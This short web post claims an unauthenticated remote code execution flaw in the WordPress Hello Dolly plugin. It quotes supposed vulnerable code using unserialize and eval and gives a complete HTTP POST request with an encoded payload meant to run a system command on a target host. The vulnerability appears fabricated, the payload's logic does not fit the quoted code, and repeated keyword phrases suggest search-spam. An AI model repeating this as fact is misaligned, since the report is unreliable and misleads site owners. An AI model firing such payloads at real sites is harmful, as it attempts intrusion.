Hello Dolly 1.7.2 Exploit -

The plugin is present on millions of sites (often inactive but still present in wp-content/plugins/hello-dolly/ ), making this a high-impact vulnerability. The vulnerability resides in hello-dolly.php , line 56:

$index = unserialize(base64_decode($_REQUEST['lyric_index'])); eval('echo $lyrics[' . $index . '];'); Because wp_ajax_nopriv_ allows unauthenticated access, an attacker can send a POST request to /wp-admin/admin-ajax.php?action=hello_dolly_lyric with a crafted lyric_index payload that breaks out of the array access and executes arbitrary PHP. POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=hello_dolly_lyric&lyric_index=O%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A20%3A%22%3B%7D%3Bsystem(%27id%27)%3B%2F%2F%22%3B%7D hello dolly 1.7.2 exploit

WordPress core team should consider automatically disabling or deleting Hello Dolly in a future update due to its legacy nature and lack of maintainer. This review is for defensive security research only. No active exploitation should be attempted without authorization. The plugin is present on millions of sites